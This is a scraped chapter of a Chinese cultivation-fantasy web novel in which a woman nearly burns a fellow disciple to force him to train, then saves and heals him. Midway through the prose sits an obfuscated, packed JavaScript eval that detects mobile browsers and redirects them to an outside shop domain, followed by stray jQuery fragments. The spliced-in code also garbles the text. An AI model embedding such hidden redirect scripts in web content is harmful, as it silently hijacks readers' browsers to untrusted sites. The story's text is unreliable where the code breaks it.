无路可退,傅奚反而冷静下来。

    他轻轻放下水瓢:“既然如此,我也没必要再挣扎了。”

    “只是……”

    他抬眼,火光炽烈,照出他眼底一片冰寒。

    “逼迫我修炼之事,楼道友还是死了这条心为好。”

    楼暮凉恍若未闻他语气中的笃定与决绝,施施然覆起掌心。

    一丛火焰拔地而起,将他围困其间。

    浓烟滚滚,灼浪滔天,他的脸色愈发苍白。

    这时,楼暮凉提起一件貌似不相干的事:“多亏你上回拍出的那道传送符,我才知晓外门新开张的‘集英阁’中售有许多有趣的宝贝。”

    她两指夹出一张符箓,耀武扬威地晃了晃。

    “这是一道践诺符。”

    “出自赤沙坊秦氏,修真界数一数二的符修氏族。”

    “据说任何你说得出的事,这张符箓都可驱使你做到。”

    说罢,楼暮凉好整以暇地一勾手。

    火势顷刻暴涨至与傅奚两肩同高。

    他步步后退,直到后背“砰”一声撞上树干,宣告他到了退无可退的境地。

    灼痛穿透衣料袭来,傅奚捂住口鼻,身体无法自控地贴紧树干,恨不能用脊骨将树皮凿穿,把自己藏进树中以躲避火势。

    楼暮凉微扬唇角,符箓飞出,贴在他肩头。

    “被活活烧死,或者,简单说一句‘我要修炼’。”

    四目相对,她轻飘飘说:“你选一样。”

    “……”

    傅奚喃喃:“你真是个疯子。”

    楼暮凉歪头:“还不说吗?你的衣裳已经被点着了。”

    傅奚突然笑了:“楼道友,我说过了——”

    “逼我修炼,你死了这条心。”

    他扯掉箭头符箓扔入火焰,旋即身形一松,脊背滑下树干,竟是原地坐下了。

    这家伙……

    面上志在必得的神情被打破,楼暮凉怔怔望着火栅之后,认命般阖上眼眸的傅奚。

    这家伙当真宁可死,都不肯修炼?

    眼见火团在对方身上四处开花,即将殃及此人唯一拿得出手的俊俏皮囊。

    楼暮凉张了张口,生硬地劝了一句:“……你真的会死。”

    然而傅奚已经听不到这一声劝了。

    他吸入太多烟气,意识已经模糊。

    尘封多年的记忆片段在此刻浮现眼前,是隐僻静谧的山村、友好关切的邻里、砍柴挑水的人家……

    一幕幕美好祥和的画面,在心生怀念的霎那急转直下。

    一道道冰冷的光如芒在背,一句句诋毁谩骂充斥双耳。

    “此子乃不祥之人,终将为祸苍生。”

    最后定格的场景,是身中数刀的父亲,与抱他坠下山崖的母亲。

    彼时呼啸的山风再度吹至耳畔,一如七岁那年,他又一次站在了生与死的边界。

    就这样被烧死,傅奚本还心有不甘,始终强撑一口气,不让意识消散在这走马灯中。

    然而那一声回响,让他突然觉得就这样死了,或许也是一种不错的结局。

    至少那句毛骨悚然的预言,从根源上就不再会应验。

    紧绷的背脊似一根脱指的弦,泄气地松懈下来。

    就这样吧……

    傅奚身形一晃,向身前火浪中跌去。

    就这样死去,或许……

    “哗——”

    一股凉意当头浇下。

    火浪熄灭,噩梦景象亦随之退去。

    傅奚感到自己的衣领被人提住,身体愣是没栽下去。

    他懵懂睁眼,一张面目可憎的脸占据了他全部的视野。

    但不得不承认,与记忆中的惨状相比,楼道友这张臭得要命的脸竟更令他愿意面对。

    楼暮凉一手扯住傅奚,一手举起他浇水用的木桶,“哗”一声,一桶水将他从头淋到了脚,残余的火焰也完全熄灭。

    灭火对楼暮凉而言不过是打个响指的事,但她气得要死,实在不想便宜了这个犟种。

    她实在不理解怎么会有宁可死都不肯修炼的人。

    都人在修真界了,天天目睹别人飞檐走壁、刀光剑影的,难道就没有一点羡慕?

    搞不懂。

    骤冷骤热的折磨下,铁打的人都遭不住,何况傅奚这种徒有其名的修士。

    楼暮凉一松手,他便湿漉漉地蜷缩在地,捂住被烟熏哑的喉咙,呛咳不止。

    楼暮凉丢掉空桶,盯他一阵,感觉这废物似乎快要活生生咳死了,眉头紧锁从储物袋中掏出一只玉瓶。

    倾倒瓶口,粉末纷纷扬扬,尽数落在他的烧伤上,源源不断的灵力补给自粉末浸入伤口,发挥疗愈之效。

    伤势缓和,傅奚稍微清醒了些。

    他费力地掀起眼皮。

    不仅他周身火焰熄灭,四面花草灵圃的火势亦已消歇,甚至因被焚毁的都是些枯枝烂叶,满目植被竟显出焕然如新的生机。

    若不仔细分辨,根本看不出细枝末节间的灼烧痕迹。

    怎么会有如此巧合的事情?

    思来想去,恐怕是这位楼道友在出手之前,便想好了哪些要烧、哪些不烧。

    如此精准驾驭灵焰的能力,仰仗的必定是深不可测的修为。

    傅奚想,她骂他“弱者”确实骂得不错。

    与她相比,他确实是个彻头彻尾的废物。

    不过……

    傅奚喘了口气,喉间溢出一声沙哑的笑。

    饶是她这样的强者,此刻也不得不倾洒药粉,不情不愿地收拾他这个烂摊子。

    “内门殷氏医修的药粉……生死人,肉白骨……果真名不虚传。”

    傅奚断续出声,眼眸弯弯,满含嘲讽。

    “如此金贵之物……楼道友却用于我这废材身上……实在……受之有愧。”

    楼暮凉冷道:“既知金贵,闭嘴享受就行了。”

    傅奚确实也闭嘴了。

    他伤得着实不轻,就那么两句话,愣是耗干了他好不容易攒起的力气。

    不过能气到这个疯子,还是值得的。

    一炷香后。

    东方既白,天高云淡,山峦苍翠欲滴,花草松竹交相辉映。

    灵圃外围,一站一卧两道身影无声对峙,恍如试炼场上情形重现。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771189|209919||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    肺腑内烟气排清,皮肉灼伤亦初步愈合,傅奚低咳两声,率先打破沉寂:“楼道友这算什么?”

    楼暮凉:“什么算什么?”

    傅奚伸出手臂,破烂弟子服下,凝结的血痂触目惊心。

    “差点烧死我,又治好我,道友打人巴掌再给颗甜枣,意欲何为?”

    他嘴上不解,心中却是一派明悟。

    比起杀死他,这个疯子更想留下他的命,以此来逼迫他修炼。

    而他已成功让她明白,哪怕是死都无法改变他的想法。

    傅奚忍不住低笑出声。

    楼暮凉塞好瓶塞,瞥一眼地上这个半死不活,却莫名其妙笑起来的家伙。

    连笑声牵动伤口都未发觉,才止住不久的血水再次浸透他的衣衫。

    红红白白的,丑死了。

    楼暮凉看不下去,单手解开外袍,扔在满身狼藉的傅奚身上。

    “狼狈至此还笑,你也是个疯子。”

    自己的衣裳已被烧得不能看了,傅奚大方将她外袍披在肩头,道:“我笑,是因为想到楼道友今后可要伤脑筋了。”

    楼暮凉抬眼:“什么意思?”

    傅奚不避讳地回望她,唇畔噙笑,似询问,似嘲讽:“对一个人而言,若连死都无法逼其就范,那还有什么更奏效的法子呢?”

    劫后余生,他一时没能克制住对这位罪魁祸首的挑衅,探明了对方不会杀他的底线,他现如今的态度主打一个肆无忌惮。

    虽不知这位楼道友对逼迫他修炼一事的执念从何而来,但他也懒得在意。

    左不过再忍一年,便是分道扬镳、江湖不见。

    傅奚:“这个问题,楼道友今后可要好好琢磨了。”

    然而回应他的,是楼暮凉的一声嗤笑。

    “你的意思是,今后我在逼你修炼这件事上,会全然束手无策了?”

    她笑得莫测,傅奚袖底手指无意识一蜷,面上仍是恭顺地道:“这是楼道友自己说的,我没有这个意思。”

    楼暮凉静默凝视傅奚。

    她眼梢微挑,眼眸黑白分明,瞳孔上下两端相对收窄,被这样的一双眼睛盯着,傅奚恍惚有种被猛兽眈视的错觉。

    扳回一城的愉悦感如潮褪去,他没来由地感到一阵不安。

    须臾,楼暮凉走到他面前,抬起手。

    傅奚立刻闭眼转脸,做好再挨一耳光的准备。

    不料那微凉的手指只是落于他颊侧,轻如拂去一片雪花。

    比起一个巴掌,这更似轻柔的抚摩。

    不习惯被人如此触碰,傅奚睁开眼睛,无能为力地提醒:“楼道友,这于礼不合。”

    楼暮凉奇怪:“杀你都不在乎,却介意这个?”

    傅奚:“……这不一样。”

    楼暮凉不同他掰扯,收回手指凑至唇边,舌尖舔舐指尖沾染的血渍。

    一下一下,不徐不疾,不声不响,犹如野兽耐心记下猎物鲜血的气息。

    “傅奚,我们来日方长。”

    被她举动震惊到失言,傅奚怔然听她漠声开口。

    “你这笔账,我记下了。”

    “你早晚得还。”